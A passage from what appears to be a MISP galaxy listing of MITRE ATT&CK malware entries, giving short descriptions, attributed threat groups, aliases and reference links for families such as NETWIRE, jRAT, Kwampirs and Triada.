https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/

Truvasys - S0178

[Truvasys](https://attack.mitre.org/software/S0178) is first-stage malware that has been used by [PROMETHIUM](https://attack.mitre.org/groups/G0056). It is a collection of modules written in the Delphi programming language. (Citation: Microsoft Win Defender Truvasys Sep 2017) (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)

The tag is: *misp-galaxy:mitre-malware="Truvasys - S0178"*

Truvasys - S0178 is also known as:

- Truvasys

Table 11366. Table References

Links
http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf
https://attack.mitre.org/software/S0178
https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/
https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=Backdoor:Win32/Truvasys.A!dha

PUNCHTRACK - S0197

[PUNCHTRACK](https://attack.mitre.org/software/S0197) is non-persistent point of sale (POS) system malware utilized by [FIN8](https://attack.mitre.org/groups/G0061) to scrape payment card data. (Citation: FireEye Fin8 May 2016) (Citation: FireEye Know Your Enemy FIN8 Aug 2016)

The tag is: *misp-galaxy:mitre-malware="PUNCHTRACK - S0197"*

PUNCHTRACK - S0197 is also known as:

- PUNCHTRACK
- PSVC

Table 11367. Table References

Links
https://attack.mitre.org/software/S0197
https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html
https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html

BOULDSPY - S1079

[BOULDSPY](https://attack.mitre.org/software/S1079) is an Android malware, detected in early 2023, with surveillance and remote-control capabilities. Analysis of exfiltrated C2 data suggests that [BOULDSPY](https://attack.mitre.org/software/S1079) primarily targeted minority groups in Iran.(Citation: lookout_bouldspy_0423)

The tag is: *misp-galaxy:mitre-malware="BOULDSPY - S1079"*

BOULDSPY - S1079 is also known as:

- BOULDSPY

Table 11368. Table References

Links
https://attack.mitre.org/software/S1079
https://www.lookout.com/blog/iranian-spyware-bouldspy

Disco - S1088

[Disco](https://attack.mitre.org/software/S1088) is a custom implant that has been used by [MoustachedBouncer](https://attack.mitre.org/groups/G1019) since at least 2020 including in campaigns using targeted malicious content injection for initial access and command and control.(Citation: MoustachedBouncer ESET August 2023)

The tag is: *misp-galaxy:mitre-malware="Disco - S1088"*

Disco - S1088 is also known as:

- Disco

Table 11369. Table References

Links
https://attack.mitre.org/software/S1088
https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/

Starloader - S0188

[Starloader](https://attack.mitre.org/software/S0188) is a loader component that has been observed loading [Felismus](https://attack.mitre.org/software/S0171) and associated tools. (Citation: Symantec Sowbug Nov 2017)

The tag is: *misp-galaxy:mitre-malware="Starloader - S0188"*

Starloader - S0188 is also known as:

- Starloader

Table 11370. Table References

Links
https://attack.mitre.org/software/S0188
https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments

SharpDisco - S1089

[SharpDisco](https://attack.mitre.org/software/S1089) is a dropper developed in C# that has been used by [MoustachedBouncer](https://attack.mitre.org/groups/G1019) since at least 2020 to load malicious plugins.(Citation: MoustachedBouncer ESET August 2023)

The tag is: *misp-galaxy:mitre-malware="SharpDisco - S1089"*

SharpDisco - S1089 is also known as:

- SharpDisco

Table 11371. Table References

Links
https://attack.mitre.org/software/S1089
https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/

NETWIRE - S0198

[NETWIRE](https://attack.mitre.org/software/S0198) is a publicly available, multiplatform remote administration tool (RAT) that has been used by criminal and APT groups since at least 2012.(Citation: FireEye APT33 Sept 2017)(Citation: McAfee Netwire Mar 2015)(Citation: FireEye APT33 Webinar Sept 2017)

The tag is: *misp-galaxy:mitre-malware="NETWIRE - S0198"*

NETWIRE - S0198 is also known as:

- NETWIRE

Table 11372. Table References

Links
https://attack.mitre.org/software/S0198
https://securingtomorrow.mcafee.com/mcafee-labs/netwire-rat-behind-recent-targeted-attacks/
https://www.brighttalk.com/webcast/10703/275683
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

ISMInjector - S0189

[ISMInjector](https://attack.mitre.org/software/S0189) is a Trojan used to install another [OilRig](https://attack.mitre.org/groups/G0049) backdoor, ISMAgent. (Citation: OilRig New Delivery Oct 2017)

The tag is: *misp-galaxy:mitre-malware="ISMInjector - S0189"*

ISMInjector - S0189 is also known as:

- ISMInjector

Table 11373. Table References

Links
https://attack.mitre.org/software/S0189
https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/

TURNEDUP - S0199

[TURNEDUP](https://attack.mitre.org/software/S0199) is a non-public backdoor. It has been dropped by [APT33](https://attack.mitre.org/groups/G0064)'s [StoneDrill](https://attack.mitre.org/software/S0380) malware. (Citation: FireEye APT33 Sept 2017) (Citation: FireEye APT33 Webinar Sept 2017)

The tag is: *misp-galaxy:mitre-malware="TURNEDUP - S0199"*

TURNEDUP - S0199 is also known as:

- TURNEDUP

View relationships graph

TURNEDUP - S0199 has relationships with:

- similar: misp-galaxy:malpedia="TURNEDUP" with estimative-language:likelihood-probability="likely"

Table 11374. Table References

Links
https://attack.mitre.org/software/S0199
https://www.brighttalk.com/webcast/10703/275683
https://www.fireeye.com/blog/threat-research/2017/09/apt33-insights-into-iranian-cyber-espionage.html

Samurai - S1099

[Samurai](https://attack.mitre.org/software/S1099) is a passive backdoor that has been used by [ToddyCat](https://attack.mitre.org/groups/G1022) since at least 2020. [Samurai](https://attack.mitre.org/software/S1099) allows arbitrary C# code execution and is used with multiple modules for remote administration and lateral movement.(Citation: Kaspersky ToddyCat June 2022)

The tag is: *misp-galaxy:mitre-malware="Samurai - S1099"*

Samurai - S1099 is also known as:

- Samurai

Table 11375. Table References

Links
https://attack.mitre.org/software/S1099
https://securelist.com/toddycat/106799/

CCBkdr - S0222

[CCBkdr](https://attack.mitre.org/software/S0222) is malware that was injected into a signed version of CCleaner and distributed from CCleaner's distribution website. (Citation: Talos CCleanup 2017) (Citation: Intezer Aurora Sept 2017)

The tag is: *misp-galaxy:mitre-malware="CCBkdr - S0222"*

CCBkdr - S0222 is also known as:

- CCBkdr

Table 11376. Table References

Links
http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html
http://www.intezer.com/evidence-aurora-operation-still-active-supply-chain-attack-through-ccleaner/
https://attack.mitre.org/software/S0222

POWERSTATS - S0223

[POWERSTATS](https://attack.mitre.org/software/S0223) is a PowerShell-based first stage backdoor used by [MuddyWater](https://attack.mitre.org/groups/G0069). (Citation: Unit 42 MuddyWater Nov 2017)

The tag is: *misp-galaxy:mitre-malware="POWERSTATS - S0223"*

POWERSTATS - S0223 is also known as:

- POWERSTATS
- Powermud

Table 11377. Table References

Links
https://attack.mitre.org/software/S0223
https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/
https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf
https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group

HummingBad - S0322

[HummingBad](https://attack.mitre.org/software/S0322) is a family of Android malware that generates fraudulent advertising revenue and has the ability to obtain root access on older, vulnerable versions of Android. (Citation: ArsTechnica-HummingBad)

The tag is: *misp-galaxy:mitre-malware="HummingBad - S0322"*

HummingBad - S0322 is also known as:

- HummingBad

View relationships graph

HummingBad - S0322 has relationships with:

- similar: misp-galaxy:android="HummingBad" with estimative-language:likelihood-probability="likely"

Table 11378. Table References

Links
http://arstechnica.com/security/2016/07/virulent-auto-rooting-malware-takes-control-of-10-million-android-devices/
https://attack.mitre.org/software/S0322

HOMEFRY - S0232

[HOMEFRY](https://attack.mitre.org/software/S0232) is a 64-bit Windows password dumper/cracker that has previously been used in conjunction with other [Leviathan](https://attack.mitre.org/groups/G0065) backdoors. (Citation: FireEye Periscope March 2018)

The tag is: *misp-galaxy:mitre-malware="HOMEFRY - S0232"*

HOMEFRY - S0232 is also known as:

- HOMEFRY

Table 11379. Table References

Links
https://attack.mitre.org/software/S0232
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

SynAck - S0242

[SynAck](https://attack.mitre.org/software/S0242) is variant of Trojan ransomware targeting mainly English-speaking users since at least fall 2017. (Citation: SecureList SynAck Doppelgänging May 2018) (Citation: Kaspersky Lab SynAck May 2018)

The tag is: *misp-galaxy:mitre-malware="SynAck - S0242"*

SynAck - S0242 is also known as:

- SynAck

Table 11380. Table References

Links
https://attack.mitre.org/software/S0242

https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/	
https://usa.kaspersky.com/about/press-releases/2018_synack-doppelganging	

Anubis - S0422

[Anubis](https://attack.mitre.org/software/S0422) is Android malware that was originally used for cyber espionage, and has been retooled as a banking trojan.(Citation: Cofense Anubis)

The tag is: *misp-galaxy:mitre-malware="Anubis - S0422"*

Anubis - S0422 is also known as:

- Anubis

Table 11381. Table References

Links
https://attack.mitre.org/software/S0422
https://web.archive.org/web/20231222134431/https://cofense.com/blog/infostealer-keylogger-ransomware-one-anubis-targets-250-android-applications/

Exobot - S0522

[Exobot](https://attack.mitre.org/software/S0522) is Android banking malware, primarily targeting financial institutions in Germany, Austria, and France.(Citation: Threat Fabric Exobot)

The tag is: *misp-galaxy:mitre-malware="Exobot - S0522"*

Exobot - S0522 is also known as:

- Exobot

Table 11382. Table References

Links
https://attack.mitre.org/software/S0522
https://www.threatfabric.com/blogs/exobot_android_banking_trojan_on_the_rise.html

AppleSeed - S0622

[AppleSeed](https://attack.mitre.org/software/S0622) is a backdoor that has been used by [Kimsuky](https://attack.mitre.org/groups/G0094) to target South Korean government, academic, and commercial targets since at least 2021.(Citation: Malwarebytes Kimsuky June 2021)

The tag is: *misp-galaxy:mitre-malware="AppleSeed - S0622"*

AppleSeed - S0622 is also known as:

- AppleSeed

Table 11383. Table References

Links
https://attack.mitre.org/software/S0622
https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/

NDiskMonitor - S0272

[NDiskMonitor](https://attack.mitre.org/software/S0272) is a custom backdoor written in .NET that appears to be unique to [Patchwork](https://attack.mitre.org/groups/G0040). (Citation: TrendMicro Patchwork Dec 2017)

The tag is: *misp-galaxy:mitre-malware="NDiskMonitor - S0272"*

NDiskMonitor - S0272 is also known as:

- NDiskMonitor

Table 11384. Table References

Links
https://attack.mitre.org/software/S0272
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf

NanHaiShu - S0228

[NanHaiShu](https://attack.mitre.org/software/S0228) is a remote access tool and JScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). [NanHaiShu](https://attack.mitre.org/software/S0228) has been used to target government and private-sector organizations that have relations to the South China Sea dispute. (Citation: Proofpoint Leviathan Oct 2017) (Citation: fsecure NanHaiShu July 2016)

The tag is: *misp-galaxy:mitre-malware="NanHaiShu - S0228"*

NanHaiShu - S0228 is also known as:

- NanHaiShu

View relationships graph

NanHaiShu - S0228 has relationships with:

- similar: misp-galaxy:tool="NanHaiShu" with estimative-language:likelihood-probability="likely"

Table 11385. Table References

Links
https://attack.mitre.org/software/S0228
https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets

MacSpy - S0282

[MacSpy](https://attack.mitre.org/software/S0282) is a malware-as-a-service offered on the darkweb (Citation: objsee mac malware 2017).

The tag is: *misp-galaxy:mitre-malware="MacSpy - S0282"*

MacSpy - S0282 is also known as:

- MacSpy

Table 11386. Table References

Links
https://attack.mitre.org/software/S0282
https://objective-see.com/blog/blog_0x25.html

AndroRAT - S0292

[AndroRAT](https://attack.mitre.org/software/S0292) is an open-source remote access tool for Android devices. [AndroRAT](https://attack.mitre.org/software/S0292) is capable of collecting data, such as device location, call logs, etc., and is capable of executing actions, such as sending SMS messages and taking pictures.(Citation: Lookout-EnterpriseApps)(Citation: github_androrat)(Citation: Forcepoint BITTER Pakistan Oct 2016) It is originally available through the `The404Hacking` Github repository.(Citation: github_androrat)

The tag is: *misp-galaxy:mitre-malware="AndroRAT - S0292"*

AndroRAT - S0292 is also known as:

- AndroRAT

View relationships graph

AndroRAT - S0292 has relationships with:

- similar: misp-galaxy:malpedia="AndroRAT" with estimative-language:likelihood-probability="likely"

Table 11387. Table References

Links

https://attack.mitre.org/software/S0292
https://blog.lookout.com/blog/2016/05/25/spoofed-apps/
https://web.archive.org/web/20221013124327/https:/github.com/The404Hacking/AndroRAT
https://www.forcepoint.com/blog/x-labs/bitter-targeted-attack-against-pakistan

Orz - S0229

[Orz](https://attack.mitre.org/software/S0229) is a custom JavaScript backdoor used by [Leviathan](https://attack.mitre.org/groups/G0065). It was observed being used in 2014 as well as in August 2017 when it was dropped by Microsoft Publisher files. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)

The tag is: *misp-galaxy:mitre-malware="Orz - S0229"*

Orz - S0229 is also known as:

- Orz
- AIRBREAK

View relationships graph

Orz - S0229 has relationships with:

- similar: misp-galaxy:malpedia="AIRBREAK" with estimative-language:likelihood-probability="likely"

Table 11388. Table References

Links
https://attack.mitre.org/software/S0229
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html
https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets

Charger - S0323

[Charger](https://attack.mitre.org/software/S0323) is Android malware that steals steals contacts and SMS messages from the user's device. It can also lock the device and demand ransom payment if it receives admin permissions. (Citation: CheckPoint-Charger)

The tag is: *misp-galaxy:mitre-malware="Charger - S0323"*

Charger - S0323 is also known as:

- Charger

View relationships graph

Charger - S0323 has relationships with:

- similar: misp-galaxy:malpedia="Charger" with estimative-language:likelihood-probability="likely"

Table 11389. Table References

Links
http://blog.checkpoint.com/2017/01/24/charger-malware/
https://attack.mitre.org/software/S0323

MURKYTOP - S0233

[MURKYTOP](https://attack.mitre.org/software/S0233) is a reconnaissance tool used by [Leviathan](https://attack.mitre.org/groups/G0065). (Citation: FireEye Periscope March 2018)

The tag is: *misp-galaxy:mitre-malware="MURKYTOP - S0233"*

MURKYTOP - S0233 is also known as:

- MURKYTOP

Table 11390. Table References

Links
https://attack.mitre.org/software/S0233
https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html

Bread - S0432

[Bread](https://attack.mitre.org/software/S0432) was a large-scale billing fraud malware family known for employing many different cloaking and obfuscation techniques in an attempt to continuously evade Google Play Store's malware detection. 1,700 unique Bread apps were detected and removed from the Google Play Store before being downloaded by users.(Citation: Google Bread)

The tag is: *misp-galaxy:mitre-malware="Bread - S0432"*

Bread - S0432 is also known as:

- Bread
- Joker

Table 11391. Table References

Links
https://attack.mitre.org/software/S0432

https://security.googleblog.com/2020/01/pha-family-highlights-bread-and-friends.html

Bandook - S0234

[Bandook](https://attack.mitre.org/software/S0234) is a commercially available RAT, written in Delphi and C++, that has been available since at least 2007. It has been used against government, financial, energy, healthcare, education, IT, and legal organizations in the US, South America, Europe, and Southeast Asia. [Bandook](https://attack.mitre.org/software/S0234) has been used by [Dark Caracal](https://attack.mitre.org/groups/G0070), as well as in a separate campaign referred to as "Operation Manul".(Citation: EFF Manul Aug 2016)(Citation: Lookout Dark Caracal Jan 2018)(Citation: CheckPoint Bandook Nov 2020)

The tag is: *misp-galaxy:mitre-malware="Bandook - S0234"*

Bandook - S0234 is also known as:

- Bandook

Table 11392. Table References

Links
https://attack.mitre.org/software/S0234
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf
https://research.checkpoint.com/2020/bandook-signed-delivered/
https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf

DealersChoice - S0243

[DealersChoice](https://attack.mitre.org/software/S0243) is a Flash exploitation framework used by [APT28](https://attack.mitre.org/groups/G0007). (Citation: Sofacy DealersChoice)

The tag is: *misp-galaxy:mitre-malware="DealersChoice - S0243"*

DealersChoice - S0243 is also known as:

- DealersChoice

Table 11393. Table References

Links
https://attack.mitre.org/software/S0243
https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/

SpyDealer - S0324

[SpyDealer](https://attack.mitre.org/software/S0324) is Android malware that exfiltrates sensitive

data from Android devices. (Citation: PaloAlto-SpyDealer)

The tag is: *misp-galaxy:mitre-malware="SpyDealer - S0324"*

SpyDealer - S0324 is also known as:

- SpyDealer

Table 11394. Table References

Links
https://attack.mitre.org/software/S0324
https://researchcenter.paloaltonetworks.com/2017/07/unit42-spydealer-android-trojan-spying-40-apps/

GreyEnergy - S0342

[GreyEnergy](https://attack.mitre.org/software/S0342) is a backdoor written in C and compiled in Visual Studio. [GreyEnergy](https://attack.mitre.org/software/S0342) shares similarities with the [BlackEnergy](https://attack.mitre.org/software/S0089) malware and is thought to be the successor of it.(Citation: ESET GreyEnergy Oct 2018)

The tag is: *misp-galaxy:mitre-malware="GreyEnergy - S0342"*

GreyEnergy - S0342 is also known as:

- GreyEnergy

Table 11395. Table References

Links
https://attack.mitre.org/software/S0342
https://www.welivesecurity.com/wp-content/uploads/2018/10/ESET_GreyEnergy.pdf

Ginp - S0423

[Ginp](https://attack.mitre.org/software/S0423) is an Android banking trojan that has been used to target Spanish banks. Some of the code was taken directly from [Anubis](https://attack.mitre.org/software/S0422).(Citation: ThreatFabric Ginp)

The tag is: *misp-galaxy:mitre-malware="Ginp - S0423"*

Ginp - S0423 is also known as:

- Ginp

Table 11396. Table References

Links

https://attack.mitre.org/software/S0423
https://www.threatfabric.com/blogs/ginp_a_malware_patchwork_borrowing_from_anubis.html

CrossRAT - S0235

[CrossRAT](https://attack.mitre.org/software/S0235) is a cross platform RAT.

The tag is: *misp-galaxy:mitre-malware="CrossRAT - S0235"*

CrossRAT - S0235 is also known as:

- CrossRAT

Table 11397. Table References

Links
https://attack.mitre.org/software/S0235
https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf

RunningRAT - S0253

[RunningRAT](https://attack.mitre.org/software/S0253) is a remote access tool that appeared in operations surrounding the 2018 Pyeongchang Winter Olympics along with [Gold Dragon](https://attack.mitre.org/software/S0249) and [Brave Prince](https://attack.mitre.org/software/S0252). (Citation: McAfee Gold Dragon)

The tag is: *misp-galaxy:mitre-malware="RunningRAT - S0253"*

RunningRAT - S0253 is also known as:

- RunningRAT

Table 11398. Table References

Links
https://attack.mitre.org/software/S0253
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/

Judy - S0325

[Judy](https://attack.mitre.org/software/S0325) is auto-clicking adware that was distributed through multiple apps in the Google Play Store. (Citation: CheckPoint-Judy)

The tag is: *misp-galaxy:mitre-malware="Judy - S0325"*

Table 11399. Table References

Links
https://attack.mitre.org/software/S0325
https://blog.checkpoint.com/2017/05/25/judy-malware-possibly-largest-malware-campaign-found-google-play/

Lucifer - S0532

[Lucifer](https://attack.mitre.org/software/S0532) is a crypto miner and DDoS hybrid malware that leverages well-known exploits to spread laterally on Windows platforms.(Citation: Unit 42 Lucifer June 2020)

The tag is: *misp-galaxy:mitre-malware="Lucifer - S0532"*

Lucifer - S0532 is also known as:

- Lucifer

Table 11400. Table References

Links
https://attack.mitre.org/software/S0532
https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/

TYPEFRAME - S0263

[TYPEFRAME](https://attack.mitre.org/software/S0263) is a remote access tool that has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032). (Citation: US-CERT TYPEFRAME June 2018)

The tag is: *misp-galaxy:mitre-malware="TYPEFRAME - S0263"*

TYPEFRAME - S0263 is also known as:

- TYPEFRAME

Table 11401. Table References

Links
https://attack.mitre.org/software/S0263
https://www.us-cert.gov/ncas/analysis-reports/AR18-165A

GrimAgent - S0632

[GrimAgent](https://attack.mitre.org/software/S0632) is a backdoor that has been used before the deployment of [Ryuk](https://attack.mitre.org/software/S0446) ransomware since at least 2020; it is likely used by [FIN6](https://attack.mitre.org/groups/G0037) and [Wizard Spider](https://attack.mitre.org/groups/G0102).(Citation: Group IB GrimAgent July 2021)

The tag is: *misp-galaxy:mitre-malware="GrimAgent - S0632"*

GrimAgent - S0632 is also known as:

- GrimAgent

Table 11402. Table References

Links
https://attack.mitre.org/software/S0632
https://www.group-ib.com/blog/grimagent/

RedDrop - S0326

[RedDrop](https://attack.mitre.org/software/S0326) is an Android malware family that exfiltrates sensitive data from devices. (Citation: Wandera-RedDrop)

The tag is: *misp-galaxy:mitre-malware="RedDrop - S0326"*

RedDrop - S0326 is also known as:

- RedDrop

Table 11403. Table References

Links
https://attack.mitre.org/software/S0326
https://web.archive.org/web/20180618225805/https://www.wandera.com/reddrop-malware/

Kwampirs - S0236

[Kwampirs](https://attack.mitre.org/software/S0236) is a backdoor Trojan used by [Orangeworm](https://attack.mitre.org/groups/G0071). [Kwampirs](https://attack.mitre.org/software/S0236) has been found on machines which had software installed for the use and control of high-tech imaging devices such as X-Ray and MRI machines.(Citation: Symantec Orangeworm April 2018) [Kwampirs](https://attack.mitre.org/software/S0236) has multiple technical overlaps with [Shamoon](https://attack.mitre.org/software/S0140) based on reverse engineering analysis.(Citation: Cylera Kwampirs 2022)

The tag is: *misp-galaxy:mitre-malware="Kwampirs - S0236"*

Kwampirs - S0236 is also known as:

- Kwampirs

Table 11404. Table References

Links
https://attack.mitre.org/software/S0236

https://resources.cylera.com/hubfs/Cylera%20Labs/Cylera%20Labs%20Kwampirs%20Shamoon%20Technical%20Report.pdf
https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia

Siloscape - S0623

[Siloscape](https://attack.mitre.org/software/S0623) is malware that targets Kubernetes clusters through Windows containers. [Siloscape](https://attack.mitre.org/software/S0623) was first observed in March 2021.(Citation: Unit 42 Siloscape Jun 2021)

The tag is: *misp-galaxy:mitre-malware="Siloscape - S0623"*

Siloscape - S0623 is also known as:

- Siloscape

Table 11405. Table References

Links
https://attack.mitre.org/software/S0623
https://unit42.paloaltonetworks.com/siloscape/

GravityRAT - S0237

[GravityRAT](https://attack.mitre.org/software/S0237) is a remote access tool (RAT) and has been in ongoing development since 2016. The actor behind the tool remains unknown, but two usernames have been recovered that link to the author, which are "TheMartian" and "The Invincible." According to the National Computer Emergency Response Team (CERT) of India, the malware has been identified in attacks against organization and entities in India. (Citation: Talos GravityRAT)

The tag is: *misp-galaxy:mitre-malware="GravityRAT - S0237"*

GravityRAT - S0237 is also known as:

- GravityRAT

Table 11406. Table References

Links
https://attack.mitre.org/software/S0237
https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html

LockerGoga - S0372

[LockerGoga](https://attack.mitre.org/software/S0372) is ransomware that was first reported in January 2019, and has been tied to various attacks on European companies, including industrial

and manufacturing firms.(Citation: Unit42 LockerGoga 2019)(Citation: CarbonBlack LockerGoga 2019)

The tag is: *misp-galaxy:mitre-malware="LockerGoga - S0372"*

LockerGoga - S0372 is also known as:

- LockerGoga

Table 11407. Table References

Links
https://attack.mitre.org/software/S0372
https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/
https://www.carbonblack.com/2019/03/22/tau-threat-intelligence-notification-lockergoga-ransomware/

Socksbot - S0273

[Socksbot](https://attack.mitre.org/software/S0273) is a backdoor that abuses Socket Secure (SOCKS) proxies. (Citation: TrendMicro Patchwork Dec 2017)

The tag is: *misp-galaxy:mitre-malware="Socksbot - S0273"*

Socksbot - S0273 is also known as:

- Socksbot

Table 11408. Table References

Links
https://attack.mitre.org/software/S0273
https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf

Skygofree - S0327

[Skygofree](https://attack.mitre.org/software/S0327) is Android spyware that is believed to have been developed in 2014 and used through at least 2017. (Citation: Kaspersky-Skygofree)

The tag is: *misp-galaxy:mitre-malware="Skygofree - S0327"*

Skygofree - S0327 is also known as:

- Skygofree

Table 11409. Table References

Links

https://attack.mitre.org/software/S0327
https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/

jRAT - S0283

[jRAT](https://attack.mitre.org/software/S0283) is a cross-platform, Java-based backdoor originally available for purchase in 2012. Variants of [jRAT](https://attack.mitre.org/software/S0283) have been distributed via a software-as-a-service platform, similar to an online subscription model.(Citation: Kaspersky Adwind Feb 2016) (Citation: jRAT Symantec Aug 2018)

The tag is: *misp-galaxy:mitre-malware="jRAT - S0283"*

jRAT - S0283 is also known as:

- jRAT
- JSocket
- AlienSpy
- Frutas
- Sockrat
- Unrecom
- jFrutas
- Adwind
- jBiFrost
- Trojan.Maljava

Table 11410. Table References

Links
https://attack.mitre.org/software/S0283
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07195002/KL_AdwindPublicReport_2016.pdf
https://www.ncsc.gov.uk/report/joint-report-on-publicly-available-hacking-tools
https://www.symantec.com/blogs/threat-intelligence/jrat-new-anti-parsing-techniques

ServHelper - S0382

[ServHelper](https://attack.mitre.org/software/S0382) is a backdoor first observed in late 2018. The backdoor is written in Delphi and is typically delivered as a DLL file.(Citation: Proofpoint TA505 Jan 2019)

The tag is: *misp-galaxy:mitre-malware="ServHelper - S0382"*

ServHelper - S0382 is also known as:

- ServHelper

Table 11411. Table References

Links
https://attack.mitre.org/software/S0382
https://www.proofpoint.com/us/threat-insight/post/servhelper-and-flawedgrace-new-malware-introduced-ta505

Proxysvc - S0238

[Proxysvc](https://attack.mitre.org/software/S0238) is a malicious DLL used by [Lazarus Group](https://attack.mitre.org/groups/G0032) in a campaign known as Operation GhostSecret. It has appeared to be operating undetected since 2017 and was mostly observed in higher education organizations. The goal of [Proxysvc](https://attack.mitre.org/software/S0238) is to deliver additional payloads to the target and to maintain control for the attacker. It is in the form of a DLL that can also be executed as a standalone process. (Citation: McAfee GhostSecret)

The tag is: *misp-galaxy:mitre-malware="Proxysvc - S0238"*

Proxysvc - S0238 is also known as:

- Proxysvc

Table 11412. Table References

Links
https://attack.mitre.org/software/S0238
https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/

BrainTest - S0293

[BrainTest](https://attack.mitre.org/software/S0293) is a family of Android malware. (Citation: CheckPoint-BrainTest) (Citation: Lookout-BrainTest)

The tag is: *misp-galaxy:mitre-malware="BrainTest - S0293"*

Table 11413. Table References

Links
http://blog.checkpoint.com/2015/09/21/braintest-a-new-level-of-sophistication-in-mobile-malware/
https://attack.mitre.org/software/S0293
https://blog.lookout.com/blog/2016/01/06/brain-test-re-emerges/

Bankshot - S0239

[Bankshot](https://attack.mitre.org/software/S0239) is a remote access tool (RAT) that was first reported by the Department of Homeland Security in December of 2017. In 2018, [Lazarus Group](https://attack.mitre.org/groups/G0032) used the [Bankshot](https://attack.mitre.org/software/S0239) implant in attacks against the Turkish financial sector. (Citation: McAfee Bankshot)

The tag is: *misp-galaxy:mitre-malware="Bankshot - S0239"*

Bankshot - S0239 is also known as:

- Bankshot
- Trojan Manuscript

Table 11414. Table References

Links
https://attack.mitre.org/software/S0239
https://securingtomorrow.mcafee.com/mcafee-labs/hidden-cobra-targets-turkish-financial-sector-new-bankshot-implant/

Tangelo - S0329

[Tangelo](https://attack.mitre.org/software/S0329) is iOS malware that is believed to be from the same developers as the [Stealth Mango](https://attack.mitre.org/software/S0328) Android malware. It is not a mobile application, but rather a Debian package that can only run on jailbroken iOS devices. (Citation: Lookout-StealthMango)

The tag is: *misp-galaxy:mitre-malware="Tangelo - S0329"*

Tangelo - S0329 is also known as:

- Tangelo

Table 11415. Table References

Links
https://attack.mitre.org/software/S0329
https://info.lookout.com/rs/051-ESQ-475/images/lookout-stealth-mango-srr-us.pdf

VBShower - S0442

[VBShower](https://attack.mitre.org/software/S0442) is a backdoor that has been used by [Inception](https://attack.mitre.org/groups/G0100) since at least 2019. [VBShower](https://attack.mitre.org/software/S0442) has been used as a downloader for second stage payloads, including [PowerShower](https://attack.mitre.org/software/S0441).(Citation: Kaspersky Cloud Atlas August 2019)

The tag is: *misp-galaxy:mitre-malware="VBShower - S0442"*

VBShower - S0442 is also known as:

- VBShower

Table 11416. Table References

Links
https://attack.mitre.org/software/S0442
https://securelist.com/recent-cloud-atlas-activity/92016/

Comnie - S0244

[Comnie](https://attack.mitre.org/software/S0244) is a remote backdoor which has been used in attacks in East Asia. (Citation: Palo Alto Comnie)

The tag is: *misp-galaxy:mitre-malware="Comnie - S0244"*

Comnie - S0244 is also known as:

- Comnie

Table 11417. Table References

Links
https://attack.mitre.org/software/S0244
https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/

Triada - S0424

[Triada](https://attack.mitre.org/software/S0424) was first reported in 2016 as a second stage malware. Later versions in 2019 appeared with new techniques and as an initial downloader of other Trojan apps.(Citation: Kaspersky Triada March 2016)

The tag is: *misp-galaxy:mitre-malware="Triada - S0424"*

Triada - S0424 is also known as:

- Triada

Table 11418. Table References

Links
https://attack.mitre.org/software/S0424
https://www.kaspersky.com/blog/triada-trojan/11481/

BADCALL - S0245

